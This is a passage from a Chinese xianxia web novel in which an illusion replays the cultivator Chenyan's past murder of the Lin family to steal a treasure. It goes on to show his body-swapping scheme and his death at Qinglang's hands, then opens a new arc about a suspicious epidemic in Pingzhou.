李观主转头看向身旁气质出尘的辰雁,难以置信地压低声音:“辰雁道友,你年少时,竟过得如此凄惨?”
辰雁那张永远温和的面孔上,流露出一丝隐忍的苦痛与追忆。他微微侧过脸,似乎不忍再看:“尘封旧事,本不愿再提。今日既然幻境重现……李道友,可否陪我去后厨一趟?我想去看看年少的自己。”
李观主自然同意。
二人避开人群,绕至后厨。越靠近,一股混杂着油烟与馊水的味道便越浓重。
辰雁扶额苦笑道:“就是这一天,我饿得太狠,收撤席面时,看见一盘没人动过的红烧肉,没忍住,偷偷捏了一块藏在袖子里,被领班发现了。他骂我手脚不干净,坏了凝香楼的规矩,把我拖到后厨痛打,还关进柴房思过。”
真是一个可怜的少年人。
李观主面露不忍,出言安慰道:“如今也算苦尽甘来,莫要困于……”
他话音一顿。
后厨里,预想的悲惨景象并未出现。
火光融融,少年蹲在地上,手里捧着一碗咸菜,吃得正香。旁边的领班叉着腰,凶巴巴地递过去一个馒头:“慢点吃!饿死鬼投胎啊?跟你说了多少次,席面上撤下来的东西,得等管事过目才能分!”
辰雁脸上的苦涩瞬间凝固,一点点变化,最终只留下几分猝不及防的愕然。
二人沉默地走出凝香楼,行走在灯市长街。方才后厨那意外和谐的一幕,不仅在李观主心里投落些许疑惑,更扎在辰雁心头。
为掩饰自己的不自在,辰雁举目四望,忽然开口道:“成为富商那样的人,又何尝快意?到底处在俗世,先不论个中身不由己,就谈寿数……”
他顿了顿:“我自知晓玄清真人经历的那一日起,便立志修道,渴望能如他一般,飞升成仙,泽被苍生,得到真正的圆满。”
李观主不疑有他,顺着话头感慨:“九州七道飞升第一人,谁不心向往之?只是不知,当世英杰,谁有缘法能做那第二人?你说说看,雪里真人醉心权势,失了纯粹;时泽真人依道友所言,逍遥世间,志不在此;柏川尊者倒是一心向道,可惜年事已高,下一次大劫能否渡过,犹未可知……”
他每说一个名字,辰雁眼底的暗色便深一分。
这些人,是他头顶明月,光辉夺目,遥不可及。他在道盟汲汲营营多年,心里有数,和这些人隔着厚重的壁垒。
他短促地呼出一口气,伸手拿起旁边摊位的一尊玄清真人泥塑像,佯装细看,试图掩饰不甚光彩的情绪波动。
李观主凑近一看,嗤笑道:“这民间匠人的手艺,未免太过粗陋,与道盟留存下来的真人法相,没有半分相似。”
辰雁正待附和,手上忽地一轻!
那泥塑的头颅竟毫无征兆地脱落,“啪”一声掉在地上,摔得粉碎!徒留他手中一个粗糙的无头身子,断开的脖颈十分丑陋。
摊主立刻急了,夺回泥塑,大声嚷嚷:“哎哎哎!你这人怎么回事?不买就别乱摸!碰坏了我的东西,你得赔钱!”
辰雁看着自己空荡荡的手,又看向地上那堆碎片,一股无名火涌上心口。他骤然抬头,视线钉在摊主脸上,不太友好。
那摊主被他看得火气更大,继续急道:“看什么看?瞪什么眼?穿得人模狗样的,别是个不讲道理的穷酸货吧!”
辰雁指尖微动,灵力凝聚,正要击碎这幻境造物——
砰!
不远处传来巨大的声响,缓慢流动的人群一下子骚动起来,人们摩肩接踵地推挤着,一片混乱。
“天杀的!没素质的东西,跑什么跑?把我的摊子都撞倒了!给我抓住他!”一个小贩声嘶力竭地大喊。
只见一个瘦削的身影从熙攘人流中不顾一切地冲撞出来,撞翻几个摊子,撞倒几个路人,引来一片惊呼和骂声。
是少年辰雁!
他跑得极快,仿佛身后有恶鬼追赶,脏兮兮的脸上满是惊慌,甚至顾不上回头看一眼。周围的光影与喧嚣,在他的奔跑中化作模糊的背景。
李观主一怔,与辰雁对视。
二人同时身形一动,悄无声息地跟在狂奔的少年身后。少年显然对附近七街八巷十分熟悉,兜兜转转,最后拐进一条僻静的巷子里。
他扑到一扇朱门前,紧张地回头张望片刻,才敢推开一条缝,侧身挤进去,迅速关门。
李观主问:“此处是……”
辰雁望着那高门大院,目光复杂,沉默片刻,方才缓缓道:“林家,我从前当牛做马的地方。”
……
夜深人静。
辰雁推开屋门,心跳如擂鼓。
且说林家,在无名村也算得上是数一数二的大户人家。大郎林勇是个粗人,讲义气重情分,就是脑子不太灵光,几杯烈酒下肚就能为兄弟掏心掏肺,什么话都往外说;二郎林睿自幼聪颖,本是读书考功名的料,如今独自支撑着家中生意,也做得风生水起;三娘林书翠才学出众,诗文常流传于街巷,只是身体不好,不常出门。
若非那日林勇酒后失言,跟他透漏传家宝所在与其效用,辰雁今夜不会出门——这个叫无方石的宝贝,据说是早年从过路的修行者手中取得,有活死人肉白骨的奇效,曾让一场蔓延乡里的疫病迅速好转,比什么时泽真人赐下的药方还灵验!
辰雁过够了仰人鼻息的日子。
今夜,他就要拿到这个宝贝,换得泼天富贵!
林家对辰雁没什么防范之心。
这家女主人病逝后,男主人便一蹶不振,整日闷在书房里,谁都不见,据说是精神出问题了。府中采购被林勇交由他负责,而他早就用加料的晚餐,将醉酒的林勇与为数不多的另外几位仆从侍卫送上西天。
至于林睿与林书翠……一个读书人,一个病
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鬼,不足为惧。
存放传家宝的书房里,男主人独坐桌边,听见门响,消沉而奇异的视线转过来——
停住了。
辰雁一手捂住对方的嘴,一手用力将刀子捅进对方心口,直到对方彻底没有声息,方才松开。
下毒算计与亲手捅人到底不一样。温热的鲜血顺着刀柄流到辰雁手背,教他后知后觉出几分惊慌来。他抖着手用衣衫擦了擦,迅速在书房里翻找,终于在一处隐秘的暗格里,找到了林勇形容里的无方石。
辰雁大喜。他把无方石塞进衣袋里,仔仔细细沿着缝扣的边缘摸了几遍,才在花盈的接引下,匆匆往林书翠的院子去。
没错,他不是一个人。
没有谁能抵挡飞黄腾达的诱惑,没有谁不想过锦衣玉食人上人的生活……既然上天没有将这样的幸福赐予他们,他们就只好亲手来争!
辰雁冷静下来。
林书翠的小院还亮着光。
听见脚步声,她以为是花盈又来劝她早睡,便披衣起身,提前拉开屋门——屋内光亮照出辰雁满身血迹斑斑,还有面色惨白神色慌张的花盈。
“发生了什么事?”她快步走过来,关切的话语还未出口,就被辰雁狠狠推倒在地。
刀光映出她难以置信的神情。
隔壁院子的林睿被惊动,跑出门来,一眼就看到了倒在血泊中的妹妹和状若疯魔的辰雁。他又见不远处书房门窗大开,内里一片翻箱倒柜后的狼藉,瞬间明白其中关窍。
他目眦欲裂:“你们二人想做什么?不要伤害……”
话未说完,辰雁拔出刀,欲继续攻击。他的力量太大,被林书翠喷溅的血兜头落了满身满脸,配着扭曲神色,更是形如恶鬼。
林睿剧烈喘息,迅速四望,没有找到趁手的武器,只能一边跑进屋内去寻,一边高声喊道:“来人!来人!”
辰雁道:“他们都已经死了。二少爷,您去陪他们吧!”
林睿自然不是他的对手。
辰雁看着跌倒在地的林睿,轻轻抽出扎进他心脏的刀,用手按住对方血流如注的伤口。
他满意地听见林睿濒死的惊叫。
他盯着林睿的眼睛:“当年我在酒楼做工,工钱微薄不足以糊口,我饿极难耐,偷吃了客人不要的残羹剩渣,就被掌柜打得半死。爹娘见我短期内没有劳作能力,也不想花半分钱给我治伤,就把我卖给了牙行。我妹妹年纪小,没有犯过什么错,只因为家里穷,牙行一指,就被一起卖了,就像她不是什么人,只是一个物件。”
“你们这些有钱人,不知道这样的滋味吧?你们高高在上地施舍,假装仁善地对我们好,心里何曾把我们当人看过?说到我妹妹……若三小姐早些回来买下她,她现在就不会在戏班子里生死不明!”
快意充斥心头。
辰雁想:我吃不饱饭,迫于无奈去偷盗;我身无分文,逼不得已去抢劫;我的妹妹被别人害了,我就要去害别人的妹妹。如果不是妹妹的死,我怎么会想杀人?都怪这个世界,都怪年少苦楚,逼我成为我。
他瞥一眼旁边颤巍巍的人,又想:她知道得太多了,我得找个机会把她解决。她能进入林家当仆从,只是因为牙人早已把妹妹卖掉罢了!
花盈在他的目光里强作镇定,哽咽道:“我们得走……”
话音未落,四周火光骤起!
17. 无名村(16)
寂静的街道不知从何处涌出许多人来,提着灯笼,拿着棍棒,指着林家墙角的巨树议论纷纷,眼神惊恐而愤怒。
“就是辰雁!这个猪狗不如的畜生,杀了主人一家,偷了东西要跑!”
“丧尽天良啊!这样的人,迟早遭天谴!我看他这样儿,就算拿了宝贝,也不会变成什么厉害的人物!”
“呔!且拿纸笔来,待我写一封告示,画一张画像,让你们去分发给今夜早睡的乡亲们,教他身败名裂!”
辰雁很无奈地叹了口气。
他对着身旁震惊过度、尚未从离奇血腥往事中回过神来的李观主道:“李道友,你为明家办事多年,又身为道盟的一份子,应该知晓我辰雁成名以后四处布施救人,从未懈怠过。这桩年少时犯下的错事日日折磨我,可惜我一直不敢想也不愿想如何去弥补……他们倒是知道如何伤我最痛。今日在幻境中重演,他们让我遭受应得的惩罚,于我而言,也是一种解脱。”
李观主被辰雁这番忏悔打得措手不及,一时竟不知该作何反应。
陆英上前,怒道:“你在多年以后回到无名村以修行者身份布道,不会不关注这桩令你‘日日受折磨’的惨案吧?林家人的尸骨在哪里?”
辰雁疲惫地摇摇头,诚恳道:“我当年毕竟是初犯,惊慌失措,逃命后许多年不敢回平州。直到后来道途受阻,心魔渐生,我才想着回来解开心结。所以我倾尽全力帮助无名村的村民,还帮助过小雨……虽然她的结果不好,但我当时都是真心实意。如今,我愿将一身灵力尽数赠予小雨,只求赎罪。若你仍觉得不够……便请动手吧。就当我给林家人以命偿命。”
他深吸一口气,闭上眼,一副悲壮模样:“李道友,这一切都是我自愿的。待我灵力溃散,还需请你将其引渡到小雨身上……我再无其他东西可以报答,只能拜托你看在相识多年的情分上帮忙了。”
陈雨冷眼看着。她自认辰雁不会被轻易打倒,想演一出戏让他发狂,令商队众人不再隔岸观火,最好能引得陈泛或青琅出手。没想到这人心神稳健至此,居然就势演起了痛改前非以命赎罪的戏码。
现如今,她只能做个观众,看看辰雁到底要耍什么花样了。
李观主倒是真的受到了心理冲击。他浑浑噩噩地祭出自己的法器,总觉得哪里不对,正想开口再问,辰雁却突然抓住他的手腕,用力一折!
法器上凝聚的灵力不受控制地狠狠砸向辰雁心口!
噗!
血肉撕裂。
狂暴的灵力失去束缚,轰然炸开!
四周幻境的景象剧烈波动,猛然弥散的恐怖威势挤压而来,似乎是要将人们碾成碎片。
辰雁拉着李观主手腕,双眼血红,低声问道:“李道友,你知道一个做错事的人,该怎么祈求原谅吗?”
李观主握住法器的手微微颤抖,被他攥得生疼。
辰雁道:“可以用死亡去祈求原谅。虽然还是会有少部分极端的人说「就算你死了,被你害的人也回不来了」,但是更多人会选择原谅你,说「都死了,算了吧」。”
李观主看着他。
辰雁道:“可是我不想死!李道友,你帮帮我吧?”
李观主忽觉头晕目眩。片刻后,他惊骇地瞪大眼睛,看见了自己的脸。那肥胖而平凡的脸上,露出辰雁独有的怜悯表情。
李观主感觉自己的身体从未如此轻盈过……已经不是他的身体了!他感到自己心脏剧痛,丹田似乎在无尽膨胀,汹涌泄出灵力……
那头,阿曼喊道:“辰雁这个贱人!我们发现了他的秘密,他要拉我们陪葬!我早说李观主不老实,他们二人狼狈为奸……”
陈雨扑向陆英,用自己单薄的身体将她死死护在下方。
“别怕。”她说,“我早就知道辰雁不怀好意。他怎么可能那么好心?在进入这个幻境的时候,他就找我商议,想要算计我,而我毫不犹豫就拒绝他了,很聪明吧?”
她有些得意:“我这具身体,是陈泛找来的傀儡,皮开肉绽、经脉寸断不足惜……反正我的魂魄在这里待不了多久。”
陆英喊道:“陈雨!”
陈雨喃喃道:“其实我不叫陈雨。爹娘根本没同意过我姓陈嘛……奶奶喊我小雨,是因为他们扔掉我的时候是一个大雨天,她说,她想着,如果雨能小一点,老天对我们宽容一点……该多好。”
“我的幻境被我偷偷修改过。我住的屋子其实不长那样,那是我去做工时见到的,属于别人的院子。我没有穿过华丽的衣裳,不知道那些门槛很高的店铺里面都在卖什么。我这一生最值得称道的,是端菜伙计急着上茅厕,让我帮忙送菜到兰字房。我这样瘦弱丑陋的人,一直是……只能在后厨帮忙的。”
“我要是老老实实听陈泛的,把东西还给青琅就好了。陈泛肯定也想辰雁死……我不做这些事儿,她是不是会帮帮我?我是不是就能用辰雁的身体好好生活了?就在平州,普普通通地生活。如果能重来一次……”
“不会哦。”有道女声插进来。
陆英抬头,看见漫天红纱。
陈泛身处滔天威压里,却仿佛闲庭信步,语调轻松:“陈雨,没有真正的肉身抵挡,灵力的攻击直接接触魂魄,你应该比别人更痛吧?还没有晕过去吗?”
陈雨没有听见。
她阖上眼,在朦朦胧胧间,看见了陈天。
陈天……
那个家里开面馆的姑娘,比她大几岁,机灵漂亮,很讨人喜欢。她不像其他小孩一样,过分歧视或同情小雨;她不像其他大人一样,帮助与排挤都不敢过火。
她会来到小雨的破屋子,和她一起坐在门口,指着那个风吹雨打仍屹立不倒的石碑,指着那条通往远方的路,信誓旦旦地说:“小雨,我以后一定要走出去,看看世界的尽头到底是什么样!”
那时的小雨很茫然:陈天有爹娘疼爱,有兄长娇宠,虽然家境不是大富大贵,但是衣食无忧。她为什么要离开那么好的家,去找什么虚无缥缈的世界尽头?
但陈天是小雨唯一的好友。
所以小雨愿意把自己的疑惑埋在心底,听陈天和她讲道理:“这是我的梦想。或许有一天我真的去到了世界的尽头,发现那里什么都没有,什么都不是,我也不会遗憾的。至少我去啦!而且,我哥哥没有去过世界的尽头,却说得信誓旦旦……我觉得这样不好。我现在就只和你说,等我亲眼看到了,再向大家
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说。”
小雨问:“你为何不求求你爹娘?他们对你那么好……应该会帮你达成心愿吧?”
陈天道:“我爹娘想让我去做木匠学徒。小雨,每个人有每个人的难处。于你而言,需要抗争的东西是狠心的爹娘、压榨的工头,于我而言,是那种……钝刀割肉一样的生活。”
小雨觉得她是吃饱了撑的,但没说。
直到那天,陈天跟着船队出了一次海。
回来以后,她的皮肤变黑不少,眼睛里却亮着兴奋的光。她和小雨讲述海上的风浪、岛屿的模样、捕鱼摘草的技巧,抱怨出海的辛苦和无功而返的懊恼。
虽然后来的陈天还是去做了木工学徒,但这份经历像一颗种子,落进小雨心里,势不可挡地长成连天幻想。
她想:陈天挣脱了束缚……虽然短暂,但没有遗憾了。人的一生,总要勇敢一次吧?我要离开这个地方。我要离开这个地方!
念头一旦生出,便再也无法遏制。
……
她被张家村的人截住,作为贡品献祭给佹神,代替他们自己的亲生孩子。
被捆着扔进佹神庙时,小雨看见了辰雁。
辰雁垂眼看她,慈悲而怜悯,不屑而兴味。
“既是贡品,便安心待着吧,像供桌上的苹果,待到腐烂那一天。”他的声音依旧温和,“这是你的命。”
小雨不甘心。
她拼尽全力,无数次尝试逃跑,就像当年不顾一切地逃离无名村一样。辰雁乐得看她挣扎煎熬,只是日复一日地用幻境让她重温之前的失败经历,让她体会到睁开眼还身处佹神庙的绝望。
有一天,她竟然真的逃出了佹神庙的束缚,能站到庙外了。
她知道自己的尸骨被埋在佹神庙下方,知道她的魂魄无法走远,所以,她只想去看看陈天,看看那个曾经勇敢出海追寻世界尽头的朋友,如今过得怎么样?
她找到了坟场大棚。
那是被生活重担逼得麻木的陈三娘,比辰雁的幻境更让她绝望。
反抗没有出路。所谓的挣扎,所谓的勇气,不过是为既定的结局增添一点可怜的色彩。命运从人们的出身开始就已经注定,谁都逃不过。
小雨想:我还能怎么争……抛却一切,杀人放火,还是争不到吗?
久远而钻心的迷茫与痛苦蔓延脑海,陈雨的意识不断下坠,忽然一个激灵清醒过来,先听见一声大叫——
“辰雁真是一个贱人!月月,你有没有给族长留信?救命……阿龙,你快走开,轮到我在外面扛了!别踩我的鞋呀……”
阿曼的怒骂骤停。
因为青琅一拳击碎了辰雁的丹田。
恐怖威压戛然而止,空气重新开始流动。四周景象仍扭曲破碎着,反流的灵力充斥在辰雁四肢百骸,教他的躯体微微肿胀起来。
陈雨迷迷糊糊地睁开眼,看见辰雁向后软倒,面上一派惊骇,已没了气息。有一点红光一闪而过,没入他的尸体——
陈雨揉揉眼睛:是那张符上面的图案!
陈泛给的那张,据说能让灵魂易位的换命符,她反复看过摩挲过千百遍,把上面每一个细节都刻进心里了,绝对不会认错!
18. 无名村(完)
“对不住。”
青琅掐了个清洁法诀,向陈雨道歉:“你不是活人肉身,我无法直接将逸散的灵力引渡到你体内。你若还要这具躯壳,晚些时候,我再对丹田进行修复。”
陈雨怔怔地看看她,又低头看看辰雁被砸扁的腹部。周围,众人四仰八叉地瘫倒在地,暗自缓解周身酸痛,无人出声。
一片沉默里,“李观主”走出来,僵硬地理了理衣袍。这款价值千金的料子很好,衣袍服服帖帖地垂坠着,虽血迹斑斑,却不显人狼狈。
他重重叹了口气,无奈道:“事发突然,真是吓煞贫道了。万万想不到,辰雁道友竟然会做出这种事!他好歹也是修行界有头有脸的人物,何至于此,何至于此啊……”
青琅偏头,面无表情地看他一眼。
“李观主”无奈笑道:“青琅姑娘,你为何这样看着我?莫非是怪罪我没有及时停手?此事实非我之过。辰雁道行比我高太多,他骤然发难,我控制不住……”
却听青琅道:“李观主,若非时间太紧,我本想选一无人之地杀你。在你死去以前,我希望听到你的忏悔,向三年前被你杀死的安定城百姓。”
“李观主”面露茫然之色:“竟有此事?时间久远,我记不太清了。青琅姑娘,其中定然有什么误会!我一心布道,意在福泽百姓,万万不会随意伤人!”
青琅道:“约莫清明前后,你带领太虚观信徒百人,往安定城布道。城门守卫持长梧山庄特令,拒绝你们的进入。你恼羞成怒,指使信徒闹事伤人,还趁乱杀了三个。其中有一位,她对你说,她只是一个出门散步的无辜过路人,没有惹到你,求你放过她。而你对她说,死于大业,是凡人荣幸。”
“李观主”额角青筋一跳,闭了闭眼,面色变得悲痛懊悔起来:“你如此说来,我有些印象了。怪我布道心切,一时失手……欲成大事,总会有些牺牲的,特别是在这个被天道遗弃的凡俗之地。同为修行者,你应该能理解我的感受吧?你若愿意,不妨将她埋骨之地告知于我,待离开幻境,我必亲自去她坟前诵经超度,送她往生极乐,如何?”
不好。
青琅的短刀迅速向前一挥,毫不留情地划过“李观主”脖颈,划出一条鲜血喷溅的裂口。她的动作干脆利落,没有半分迟疑。
“李观主”紧急后退一步,才没有被一刀封喉。他的表情凝固在愧疚与错愕之间,抬手捂住脖子,结结巴巴道:“你是疯子吗?话都没说清楚,就开始动手……”
“我只是一个普通人。”青琅甩掉刀刃上的血珠,“我不能理解你。”
她再次向“李观主”攻去!兵刃摩擦声与骨肉碰撞声响起,落在犹豫着要不要说出自己发现的陈雨耳中,让她觉得奇怪。
先前,青琅用灵力破了她求陈泛精心准备的杀阵,天地俱震;李观主号称玉堂城的最强修行者,名扬百里。他们二人打架,为何不用灵力,只过招式?
“李观主”渐落下风。
他彻底变了脸色,下定决心,疾退十数步,抬手掐诀。灵力流经他心脉,将一滴至精至纯的心头血从他指尖逼出。他以血为墨,在胸前断断续续地画出一个图案来。
陈雨大惊,看一眼辰雁的尸体,咬牙喊道:“小心些!这是……”
“李观主”倒下了。
青琅把刀扎在他心口,微微俯身问道:“你可以开始忏悔了吗?”
“李观主”仰倒在地,见林家院子的围墙四四方方,被灵力威压挤碎的缺口很锋利,淅淅沥沥地切下来一点儿雨水,滴落在他脸上。
百般算计,破局不过一刀而已。他逐渐模糊的视线看着青琅漠然的眼睛,心头一跳,脑海中隐隐浮现出一个人来。
——他被陈泛揭发,从摘花会狼狈离开后,捂住满脸伤处,紧急赶往柏川尊者的万年殿。
那里金石为底,白玉作阶。辰雁跪在门边,曲背弓身,极尽卑微。他的样貌已然完全不同,被抓挠撕烂的皮肉碎碎地掉下来,露出自己的脸。
“时泽,你这是做什么?”玄冠金袍的柏川尊者伸出大手,擒住辰雁上臂,虚扶一下。
辰雁深吸一口气,战栗不已:“假扮时泽真人近百年,我日夜如履薄冰,总觉内心不安。同悲海灵气异动,我想这是个警示。无言剑若重新现世,时泽真人能敌,我如何能敌?”
柏川尊者眸光一凝:“同悲海远在极南,灵气异动时,你应该还在摘花会宣讲。参会的小辈不会知道这个消息……是谁告诉你的?”
辰雁答:“长石殿的雪里真人,高调宣布亲自去迎无言剑,消息已传遍道盟上下。青崖书院的学生在讨论,我正巧听见了。”
“哼。”柏川尊者冷嗤一声,“心术不正的女娃,年纪轻轻,忌恨时泽,便自以为和无言剑站在同一战线,天真可笑!”
时泽真人在守护沧澜灵脉一战中身故,只留得一具残破尸身归于明家,害明家上下多年来费尽心力隐瞒,这里面肯定有雪里真人的手笔——那位一身反骨的天才刀修,如今不到百年,已稳坐明家十二殿之一,甚至隐有压众人一头的架势。
辰雁心思纷乱,无心世家之间权力制衡,只问:“尊者,我该怎么办?万一无言剑回来复仇,把我当作时泽真人……”
“你怕什么?”柏川尊者捋了捋胡子,“她一介散修,苟延残喘许多年,想来已要油尽灯枯。时泽杀得她,我们也杀得!”
辰雁颤抖道:“无言剑与时泽真人,可是关乎生死的仇恨……而且,无言剑连封号都没有!可见是她残忍之至、滥杀无辜太甚,虽入道,却不被天道认可!”
柏川尊者道:“我会保护你的。”
辰雁半生荣华,真切地享受着双重的后辈敬仰与道盟资源。所有所有,都是从柏川尊者提议由他假扮时泽开始的……
柏川尊者又道:“待无言剑伏诛,我会挑个好时机,把时泽身死之事告知大家。你为道盟稳定兴盛而假扮时泽所做的一切,都不会被埋没。”
辰雁勉强打起精神:“多谢
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尊者。我心神不宁,需回证道之地暂作调理。那里离同悲海太近,可我又不去不行……无言剑有何特征?道盟没有留存她的法相。还请尊者不吝告知我一二,好教我谨慎行事。”
柏川尊者道:“她行事异乎寻常,看着就不像好人。你见到她,一定知道那就是她。”
……
陈泛在陈雨身旁蹲下,轻笑道:“辰雁费尽心机,骗完这个骗那个,既想洗去身为辰雁的污名,摆脱明家的掌控,又贪婪地想要一具好的外壳。他以为掌控全局,对我们了如指掌,实则螳螂捕蝉,黄雀在后。”
陈雨问:“你是那只黄雀吗?”
在陈泛回答她之前,一声尖叫响起!
天色晚,骤雨倾盆。不远处,破碎的幻境终于重组,先将一个跛脚的女人拼凑了回来。尖叫过后,女人强作镇定,转身就跑。
辰雁也出现了。他扔掉手里的刀,捏了捏装有无方石的衣袋,斥道:“别叫!花盈,你在怕什么?跟我走,我们从偏门出去。”
剧情回归正轨,而后抵达结尾,幻境开始消散。商队众人围在一起窃窃私语,陆英望着二人的背影,神情复杂难辨。
陈泛走至青琅身前,笑道:“风雅茶馆那几出戏,你去看过了吧。听说,辰雁自凡世得见此戏,无比欣赏,便进行排演,准备在摘花会供大家观赏。美好的事物被摧毁,人在命运里痛苦挣扎,凄美绝伦,令人享受。辰雁喜欢看人变成那个样子,你呢?青琅,你喜欢看人变成什么样?”
青琅收刀入鞘,看她一眼。
陈泛自顾自道:“我喜欢看人癫狂,看人丑陋,看人互相撕咬,不死不休。”
“现实的佹神庙里,我放了一块无方石,那是我送你的第二份礼物。它与你当年铸剑的材料出于同源,都是上古时期女娲补天的遗留。但是,被分割开以后,作用却大不相同了。那一块无方石的作用很有趣,它能勾起人心底最深的恶意,操纵人去发散这些恶意。当人足够多,恶意足够多,交织碰撞、不断发酵,达到一定的程度,就能反哺它自身,对它的拥有者进行滋养。”
“你的恶意是什么?走到佹神庙附近的时候,你看到了什么?你想做什么?”
青琅问:“带我上山的向导老刘,他看见的蓝眼睛,与你有关?”
陈泛身体微微前倾,仰头看着青琅,那双蓝色的眼睛在幻境消散前的一片白光里,显得格外透亮:“我只是想看看你,没有离得太近。我怕忍不住杀掉你或者被你杀掉。向导的变异是无方石的过错,是他自己的过错,与我无关。”
青琅道:“我对你一点印象都没有。”
陈泛遗憾道:“你通过残片找回的记忆有限,里面没有我也是正常……我很期待你想起来的那一天。”
幻境彻底消散。
一道干脆利落的女声响在众人耳畔:“接到热心民众报案,说有人上山拜神迷路失踪……谁是张姑娘?这么多人?你们是干什么的?聚集在此,可有向长梧山庄报备?”
19. 玉堂城怪病(1)
四月,清静道漫天飘雪。
空青谷传书台,有玄鹤衔信来。轮值的学生张某拆出一份金光闪闪的请帖,封面用灵力刻着“柳然亲启”,落款是“无名会”。
张某面如菜色,揣起信件,步履虚浮,百般不情愿地往霜雪园走去。
众所周知,住在霜雪园的柳然师姐脾性古怪,多与邪门外道相交,据说是修习功法时走火入魔所致。常有人看见她在深夜凶神恶煞地离开,又在破晓时分浴血归来,很是可怕。
至于邪门外道——无名会,张某只听师长们批判过。那是一个新兴的江湖势力,其成员多为无门无派的散修,明面上行善积德、惩奸除恶,暗地里却以追求自由为名,煽动年轻修士脱离道盟体系,居心不良。
张某对这样遥远而离经叛道的组织,其实没有什么好恶,只是偶尔想起,会有些发自内心的疑惑:世间法理秩序皆经道盟建立,由仙门百家共同遵守。若是没有道盟,世界岂不乱套?
罢了,修行不易,做人做事须谨小慎微,不要多想,以免触及纷争霉头。
思及此,张某把金帖插在霜雪园的门栓缝隙里,摇动角落的通传铜铃,在它晃荡出两声完整清响前,先一步疾走离开了。
柳然听见铃响,出门取信时,外头只剩两串仓皇的脚印。
她拾起被晚风吹落的金帖,回头骂道:“老东西,你成天在外抹黑我名声,害得大家避我如蛇蝎,真是好不要脸!”
院内不请自来的老者,是空青谷长老弥沙。他已年过百岁,为人古板端正,因着多年以来修为少有进境,如今须发皆白,眉目间透着行将就木的朽气。
弥沙长老轻飘飘地端得一派高人风范:“你违反门规,私自与江湖势力往来,做尽礼法不容之事,难道我要大肆褒奖宣扬,教后生们与你同流合污?”
这番话反复说过百遍,柳然起初还会感到冒犯,后来听得多了,只觉这老头啰嗦。
她把新收的信件扔到桌面:“装什么?你紧跟金帖而来,避开宗门通报流程,难道不是想借我之手与无名会接触吗?武圣主昏庸无能私欲旺盛,要把整个清静道变作自己的后花园,早该滚下去等死!你愚忠多年,总算醒悟!”
依照道盟法规,七道的各位理法监订者与秩序维护者称作圣主。柳然读史那几年,总觉得他们像灵气未现时的帝王,或犹甚帝王——毕竟凡人没办法呼风唤雨,他们却真的可以改变四季时序,通晓万事万物。
年轻人眼里容不得沙子,总认为在其位谋其政,上位者应心怀天下而摒弃私欲。弥沙长老却觉得,武圣主在位五十余年,未曾行差踏错,只是眼见寿元将尽,自认无法再与天道争命数,便决定及时享乐,做了点儿无伤大雅的荒唐事,人之常情,何必苛责?
于是弥沙长老喝道:“慎言!如今道法兴盛,仙门百家能人辈出,清静道权柄更替乃时势自然,与武圣主行为何干?无论清静道日后由谁执掌,总归不会是无名会里头那堆藏头露尾的鼠辈!你以为无名会是真心实意……”
柳然冷笑道:“谁来接替?又是世家的血脉或拥趸?还是由道盟推举选拔的,所谓天意使然的傀儡?一帮修行者,不去刻苦勤勉积极求道,反而聚众欺压散修操弄权势,早晚遭天道落一把雷劈死!”
弥沙长老心道:此话真是偏颇难听。人生在世,虽说不分三六九等,总该分个尊卑有序,分个孰强孰弱。既有区分,自然便有拉帮结派,便会分配不均。这是无可避免的。且说那无名会,利用年轻后生一腔热血,口号喊得响亮,不也是为了争权夺利么?
他叹道:“理法规则,天道未授,自然要由人制定。道盟乃仙门百家齐心所向,根基稳固,计策深远,意在恩泽百代,只是偶有谬误,做不到事事俱全,就被有心之人大作文章,实在是……”
“你到底想做什么?”柳然再次打断道,“鬼鬼祟祟避人耳目,如果只是来说这些向道盟表忠心的话,不如省一口气。”
“我与你一起上路。”弥沙长老道,“这封信,应该关乎平州的一场疫病。那里的凡人对疫病束手无策,屡次求援于道盟,道盟却不愿出手相助……这实在不同寻常。我怀疑,疫病非天灾,是修士所为。”
……
通往长梧山庄审讯厅的马车列队驶出连梦山。
那大胆绕行的商队被抓个正着,旁边还有三具离奇出现的男尸,其中二人是有头有脸的人物——玉堂城官员陆德、太虚观观李通海。
巡查侍卫长赤珠万万没想到,不过是因为庄主的弟弟不敢独自出门接引外界来客,可怜巴巴地求自己陪他一程,便能正巧让她撞上一桩大命案。
她独坐后车,与三具尸体相伴;前车有几位同僚,守着偷渡的商队与进出无报备的嫌疑人。至于中间——自是那远道而来的客人、胆小如鼠的主人,还有两位无辜路人。
“都是皮外伤,不用太担心。”柳然收回施法的手,松了一口气,“此法歹毒,似有撕裂魂魄之效,幸而施法者灵力不足,并未伤及内里。”
孟天流伸手,捏着谢不能血迹斑斑的袖子,抛回谢不能身上,咽了口唾沫:“真的吗?流这么多血,会死的吧?”
柳然意味不明地瞥他一眼——古人云相由心生,这位长梧山庄燕庄主的表弟,倒是一看便知不是什么机灵人。
接贵客的车马,走长梧山庄的官道,众人连夜赶路,两日后便到了玉堂城门。
孟天流扶着车辕,长舒一口气:“我求赤珠姐姐一起出门,还是有些作用的!若只有一辆马车,怎么把你们都带到玉堂城来?谢兄,你一身伤,还记着来玉堂城行善,真是令人佩服。”
谢不能道:“我做过登记,若是无故爽约,往后一年便不得再参加同善
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会活动。”
“还有这种组织哈……”孟天流挠挠头,“看你伤成这样,也不算无故吧?谢兄,你的帷帽一片血红又不好清洗,要不要先用我的面罩?不过你回到安定城后,我得派人去你那儿取回来,因为这是纯金的,是我年轻的时候照着话本里的……”
谢不能被青琅半扶半提着,很是无力地向他摆摆手:“不必,有缘再会。”
孟天流对着他们离去的背影喊道:“待匪徒与走私犯的审讯结果出来后,我再到安定城与你们二位一叙!长梧山庄眼皮子下,竟然发生这样的事情,真是……”
天气好。
谢不能在路边找了张椅子坐下,仰头看着青琅,问:“我舍身替你挡辰雁一击,我们还不能算作好友吗?央求你与好友一道前往玉堂城,是需要思索许久的难题吗?”
一路上,青琅一言不发,看似闭目养神,实则不算平静。谢不能坐得离她最近,能看见她垂眼时有些恹恹的神情。
“我既不闪不避,自有应对之法。伤在我身,最多不过吐几口血,调息片刻便好。伤在你身,看起来,要你半条命。”青琅语气缓慢,似是斟词酌句,“你的举动,于我而言,并非必要,反而徒增变数。”
她的目光落向城内的屋舍。
这一路,青琅确实在思索——她平日里生活在兴旺街的方寸之地,惯于掌控自己的一切,对意料之外而突如其来的人情感到很困扰。只是,对方好歹于她有相救之恩,若是严词拒绝,不是她处事准则。但是,若按照道理去“报恩”,心底难免不情不愿。
谢不能盯着她看了一会儿,又道:“我替你挡,就是为了绑架你到玉堂城来保护我。”
